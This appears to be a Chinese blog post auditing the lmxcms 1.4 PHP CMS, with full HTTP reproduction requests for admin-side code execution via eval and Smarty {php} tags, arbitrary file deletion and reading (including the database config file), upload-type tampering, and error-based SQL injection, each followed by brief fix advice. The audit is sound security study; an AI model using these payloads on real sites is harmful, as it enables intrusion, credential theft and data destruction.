5、lxmcms1.40代码审计

于 2024-03-04 20:56:33 发布
阅读量442 收藏 6
点赞数 5
分类专栏： php代码审计(二) 文章标签： php 代码审计
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/YINZHE_/article/details/136462246
版权

一、RCE

1、RCE代码执行

代码

搜索代码执行关键字，找到函数里存在变量的文件

在这里插入图片描述

跟踪一下$temdata['data']
$data是从$temdata赋值的，$temdata从314行过来的，有个caijiDataOne函数接收的$_GET['cid']，也没有对变量做处理。

在这里插入图片描述

已知查询的数据库表是cj_data

在这里插入图片描述

要执行eval的话先触发showCjData()方法,在依次接收变量，控制变量cid结果为$temdata，在控制318行的值实现rce。需要一步一步的触发。但这里的方法是从数据库取出才会触发，不是从这个功能写入的。

在这里插入图片描述

定位到这个文件在admin下。再去看一下路由情况，先登录后台

在这里插入图片描述
在这里插入图片描述

所以可以将文件直接替换，定位到功能位置。但实际是从'执行sql'功能写入的内容

在这里插入图片描述

漏洞条件：

参数接收后执行eval('$data='这里面的输入的内容'')
点是连接符，//注释掉后面的
● 漏洞url: url1：http://lmxcmm1.41.com?admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1
url2：http://lmxcmm1.41.com?admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1
● 漏洞参数：sqlstr
● 是否存在限制： 
● 是否还有其他条件：m=Sql&a=sqlset；m=Acquisi&a=showCjData&cid=1&id=1&lid=1

复现

POST /admin.php?&m=Sql&a=sqlset HTTP/1.1
Host: lmxcmm1.41.com
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://lmxcmm1.41.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Sql&a=index&type=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pu9aa35v02aabukef267n96k74
Connection: close

sqlstr=INSERT+INTO+lmx_cj_data+%28id%2C+data%29+VALUES+%28%276%27%2C+%27666%3Bphpinfo%28%29%3B%2F%2F%27%29%3B&sqlsub=%E6%8F%90%E4%BA%A4

在这里执行一条sql语句将内容插入cj_data表中。查询的主要是id和data所以只需要插入这两个字段。
INSERT INTO lmx_cj_data (id, data) VALUES ('5', '666;phpinfo();//');

在这里插入图片描述

GET /admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1 HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close

在这里插入图片描述

修复

对所有的输入进行严格的验证和清洁，并确保对外部输入的处理安全可控。

2、后台代码执行

代码

搜索smarty模板。一般模板功能会出现eval函数的执行，因为有可能在前端页面通过php的代码去实现一些内容。首页、头部、尾页文件html。admin目录下的template文件。

在这里插入图片描述

在执行文件写入的时候也不会有限制

在这里插入图片描述

通过文件找到对应功能位置，果然是在模板调用时。

在这里插入图片描述

打开一个尾部html，发现和页面显示不同。要么是存储的变量，变量等于1.4。或者写道数据库了，通过model曾去出1.4然后显示。因为是个html文件，不能执行php代码，所以会引用eval强制执行造成rce

在这里插入图片描述

漏洞条件：

● 漏洞url: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=default
● 漏洞参数：temcontent
● 是否存在限制： 
● 是否还有其他条件：使用smarty模板，m=Template

复现

POST /admin.php?m=Template&a=editfile&dir=default HTTP/1.1
Host: lmxcmm1.41.com
Content-Length: 564
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://lmxcmm1.41.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=default/footer.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pu9aa35v02aabukef267n96k74
Connection: close

temcontent=%3Cdiv+class%3D%22footerBox+width%22%3E%0D%0A%09%3Cdiv+class%3D%22footer%22%3E%0D%0A++++++++%3Cp%3E%3C%7Bphp%7D%3Ephpinfo%28%29%3B%3C%7B%2Fphp%7D%3E%E6%88%91%E7%9A%84%E7%BD%91%E7%AB%99+%E7%89%88%E6%9D%83%E6%89%80%E6%9C%89+2014+%E6%B9%98ICP%E5%A4%878888888%3Cbr+%2F%3EPowered+by+%3Ca+href%3D%22http%3A%2F%2Fwww.lmxcms.com%22%3Elmxcms%3C%2Fa%3E+%3C%7B%24version%7D%3E+%C2%A92014+%3Ca+href%3D%22http%3A%2F%2Fwww.lmxcms.com%22%3Ewww.lmxcms.com%3C%2Fa%3E%3C%2Fp%3E%0D%0A++++%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E&filename=footer.html&settemcontent=%E6%8F%90%E4%BA%A4

查看如何编写这个标签

在这里插入图片描述
在这里插入图片描述

提交后访问前台首页

在这里插入图片描述

修复

对所有的输入进行严格的验证和清洁，并确保对外部输入的处理安全可控。

二、文件操作

1、后台文件上传

漏洞条件

● 漏洞url: url1：http://lmxcmm1.41.com/admin.php?&m=basic&a=set
  url2：http://lmxcmm1.41.com/admin.php?m=Upload&a=swfuploadImg
● 漏洞参数：upload_file_pre、upload_image_pre、q_upload_file_pre
● 是否存在限制： 
● 是否还有其他条件：

复现

可以直接设置上传的文件类型

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、后台2处任意文件删除

代码

第一处：$filename = trim($_GET['filename']);，判断文件是否存在，如果 $filename 不为空，代码则调用 $this->delOne($filename); 方法尝试删除名为 $filename 的备份文件。直接执行删除操作。
第二处：$filename = $_POST['filename'];。如果获得的'filename'参数有值，它将对数组中的每一个元素（也就是每一个文件名）调用$this->delOne($v);方法，尝试删除对应的备份文件。
都调用了delOne(）方法。

在这里插入图片描述

漏洞条件：

● 漏洞url: url1：http://lmxcmm1.41.com/admin.php?m=Backdb&a=delbackdb&filename=../../1.txt
  url2：http://lmxcmm1.41.com/admin.php?m=Backdb&a=delmorebackdb
● 漏洞参数：filename、filename[]
● 是否存在限制： 
● 是否还有其他条件：m=Backdb；a=delbackdb/  a=delmorebackdb

复现

第一处：

GET /admin.php?m=Backdb&a=delbackdb&filename=../../1.txt HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Backdb&a=backdbInList
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close

在这里插入图片描述

第二处

POST /admin.php?m=Backdb&a=delmorebackdb HTTP/1.1
Host: lmxcmm1.41.com
Content-Length: 26
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://lmxcmm1.41.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Backdb&a=backdbInList
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close

filename%5B%5D=../../1.txt

在这里插入图片描述

修复建议

仔细验证和过滤用户输入，确保删除请求的文件名仅包含安全、有效的字符，并且限制在预设的文件目录中。其次，实施权限控制，只允许具有适当权限的用户执行删除操作。

3、任意文件读取

漏洞条件

● 漏洞url:  http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=../inc/db.inc.php
● 漏洞参数：dir
● 是否存在限制： 
● 是否还有其他条件：m=Template&a=editfile&dir

复现

GET /admin.php?m=Template&a=editfile&dir=../inc/db.inc.php HTTP/1.1
Host: lmxcmm1.41.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://lmxcmm1.41.com
Referer: http://lmxcmm1.41.com/admin.php?m=Index&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=lmsb9v1t6oqq5eahqtq54jqij6
Connection: close

在这里插入图片描述

代码

file_get_contents搜索文件读取函数并且存在变量的。
检查 $path 指向的是否是一个文件，如果是，尝试读取文件内容。
如果不存在返回错误信息，否则返回读取的内容

在这里插入图片描述

跟踪getcon，TemplateAction.class.php文件的editfile方法调用了它。构造它只需要满足get方式接收dir参数

在这里插入图片描述

修复建议

对所有用户输入文件路径的处理进行严格的检查和清理，并确保仅限于访问安全、隔离的目录且拥有适当的权限。

三、SQL注入

1、后台sql注入

$name = trim($_POST['curr']); 判断$name变量存在就拼接where  sql语句

在这里插入图片描述
count–>countModel–>countDB–>query
同样跟踪到query会有报错语句回显
在这里插入图片描述

漏洞条件：

● 漏洞url: http://lmxcmm1.41.com/admin.php?m=Zt&a=ajax_data
● 漏洞参数：curr
● 是否存在限制： 
● 是否还有其他条件：m=Zt&a=ajax_data

复现

POST /admin.php?m=Zt&a=ajax_data HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Index&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

curr=1'+AND+(SELECT+2*(IF((SELECT+*+FROM+(SELECT+database())s),+8446744073709551610,+8446744073709551610)))--+CAoA

在这里插入图片描述

修复建议

通过参数化查询、使用预编译的语句或存储过程、使用 ORM 工具、限制和审计输入数据、以及应用 Web 应用程序防火墙等方法来实现。

2、后台sql注入

代码

条件满足需要$_GET['searchSub']存在。接收name变量，然后拼接where查询语句

在这里插入图片描述

上面的这两个满不满足都可以

$classid = (int)$_GET['classid'];
$idStr = $_GET['id'];

漏洞条件

● 漏洞url:  http://lmxcmm1.41.com/admin.php？name=2&m=Zt&a=list_push&searchSub=%E6%90%9C%E7%B4%A2
● 漏洞参数：name
● 是否存在限制： 
● 是否还有其他条件：m=Zt&a=list_push&searchSub

复现

GET /admin.php?name=2'+AND+(SELECT+2*(IF((SELECT+*+FROM+(SELECT+database())s),+8446744073709551610,+8446744073709551610)))--+CAoA&m=Zt&a=list_push&searchSub=%E6%90%9C%E7%B4%A2 HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Zt&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close

在这里插入图片描述

修复建议

通过参数化查询、使用预编译的语句或存储过程、使用 ORM 工具、限制和审计输入数据、以及应用 Web 应用程序防火墙等方法来实现。
YINZHE_
关注
  • 5
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
java开发paly框架下载,lx_cms2.0: 用java playframework1.5.3 写的网站CMS骨架，可以快速开发网站，凌雪cms2.0...
weixin_42376940的博客
03-15 112
server {listen 80;root /www/web/51ls_cc/public_html/51ls-website;server_name 51ls.cc www.51ls.cc;rewrite ^(.*)$ https://$host$1 permanent;autoindex on; #开启nginx目录浏览功能autoindex_exact_size off;...
lmxcms1.4 代码审计分析复现
qq_45764684的博客
05-31 499
lmxcms1.4
梦想cms1.4代码审计
m0_60716947的博客
01-07 1867
php代码审计，梦想cms
“快看”cms v1.32代码审计
include_voidmain的博客
07-04 1207
CMS代码审计
lmxcms1.4
ki10Moc的博客
07-27 531
垃圾文章不要看
VB上位机Ver.1.40
05-24
VB上位机Ver.1.40VB上位机Ver.1.40VB上位机Ver.1.40VB上位机Ver.1.40VB上位机Ver.1.40VB上位机Ver.1.40VB上位机Ver.1.40VB上位机Ver.1.40VB上位机Ver.1.40VB上位机Ver.1.40VB上位机Ver.1.40VB上位机Ver.1.40VB上位机...
gcc-1.40 源代码
08-21
早期GCC源代码，使用比较广泛的一个版本，来源于GCC官方ftp://gcc.gnu.org。
VSCodeUserSetup-x64-1.40.2
09-07
【标题】"VSCodeUserSetup-x64-1.40.2" 是Visual Studio Code的一个特定版本，专为64位操作系统设计的用户安装程序。Visual Studio Code（简称VSCode）是由微软开发的一款免费、开源的源代码编辑器，支持多种编程...
HkeScriptAdder1.40
03-23
例如，它可能具有搜索和替换功能，便于用户查找和修改地图中的特定脚本代码。同时，一些版本可能包含脚本预览和错误检查功能，有助于开发者在添加前验证脚本的正确性，防止因语法错误导致的地图运行失败。 尽管...
perl-DBI-1.40-5.i386.rar
02-21
这个"perl-DBI-1.40-5.i386.rar"压缩包包含的是Perl DBI的1.40版本，适用于i386架构的系统。这个版本的DBI模块在2009年由作者Tim Bunce发布，它提供了与各种数据库系统的交互能力，而无需关心具体的数据库驱动细节。...
基于PHP的梦想cms（lmxcms）php网站管理系统 v1.4.zip
08-26
基于PHP的梦想cms（lmxcms）php网站管理系统 v1.4.zip
梦想cms（lmxcms）网站管理系统 v1.4
10-08
lmxcms基于php语言和mysql数据库开发，系统采用业界流行的MVC设计模式开发，使得系统结构更加清晰明了，便于进行二次开发和管理，并且lmxcms内嵌了smarty模板引擎，使程序与模板分离，
梦想CMS注入漏洞分析&发现小彩蛋
weixin_42508548的博客
11-24 2659
查资料的时候，偶然间看到这样一个漏洞，在一个提交表单的地方，插入SQL语句，便可以进行报错注入。看着有点像二次注入，对于这样类型的注入，我个人遇到的还是比较少的，再加上一般这种地方多数会尝试XSS，所以进行了分析，看看漏洞到底是如何产生的。 0x02 环境搭建 1、首先准备phpstudy，这里使用的是2016版本的，php版本为5.6.27 2、下载cms源码 cms下载地址：http://www.lmxcms.com/file/d/down/xitong/20210
JAVA代码审计-cms综合篇
最新发布
shelter1234567的博客
11-02 440
本次用一个cms的源码，来综合深入学习java代码审计...
百家CMS v4.1.4代码审计
D.MIND 的博客
08-19 937
中午在先知上看到篇百家cms的代码审计，不是很难，适合我这种菜???? 参考：https://xz.aliyun.com/t/9955#toc-0 源码下载：https://gitee.com/openbaijia/baijiacms.git 文章目录任意目录删除利用远程文件上传利用命令执行利用总结 任意目录删除 漏洞点位于：includes/baijiacms/common.inc.php 首先关注的是unlink函数，他会删除文件，只要$path不是目录就会进入改分支。 但如果你是目录呢，会对目录中非.
wuzhicms代码审计
hackzkaq的博客
07-04 577
环境搭建 源码下载官网：https://www.wuzhicms.com/放到本地phpstudy根目录下，访问install路径进行安装。访问后台：访问前台：直接后台挂个链接：漏洞分析 搜索select的时候 发现在mysql.class文件下有一个函数里面有select 并且后面的拼接也没有任何的过滤搜索哪里调用了这个函数，先是在api目录下的sms_check文件中发现调用了get_one函数 并且参数是通过前面的$code拼接。我们可以看到code 先是通过$GLOBALS来获取参数param的值
初识java代码审计——ofcms 1.1.4内容管理系统代码审计
Alexz__的博客
05-05 3126
目录 壹 ofcms环境搭建（避坑指南） 贰 从ofcms出发浅析javaweb项目目录结构及其功能 叁 CVE-2019-9614 SSTI模板注入漏洞 肆 任意文件上传漏洞 伍 存储型XSS漏洞 陆 后台SQL注入漏洞 壹 ofcms环境搭建（避坑指南） 四月底开始入手java代码审计，从一开始的一头雾水到现在博客总结，之间经历了许多，走过不少坑，虽然大四啥事儿都没有但是整个过程也还是压力比较大的 现在IDEA中以及没有java代码审计插件 Fi...
kkcms代码审计
qq_44713013的博客
12-28 2487
0x01 kkcms整体文件架构 0x02 验证码重用漏洞 对比session和传入的verifycode是否相等 每次失败访问后，都会进行刷新跳转，然后重新执行一次JS代码，但是由于Burp默认不解析js，所以这里存在验证码复用的漏洞 搜索此参数，发现只在verifycode.php中才存在 $_SESSION['verifycode'] 生成0——9的随机4位验证码。 0x03 上传漏洞 由于此cms默认存在的编辑器为kindetior，并且easy代码审计显示存在一个文件上
梦想v1.4 CMS平台XSS与代码审计分析
anlalu233的博客
03-05 425
https://www.freebuf.com/vuls/218838.html
怎么安装LCM1.40
06-09
1.从LCM的官方网站 https://lcm-proj.github.io/ 下载LCM1.40的源代码。 2.解压缩下载的文件。 3.打开终端，进入解压缩后的LCM1.40目录。 4.运行以下命令进行编译： ``` ./configure make ``` 5.运行以下命令...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值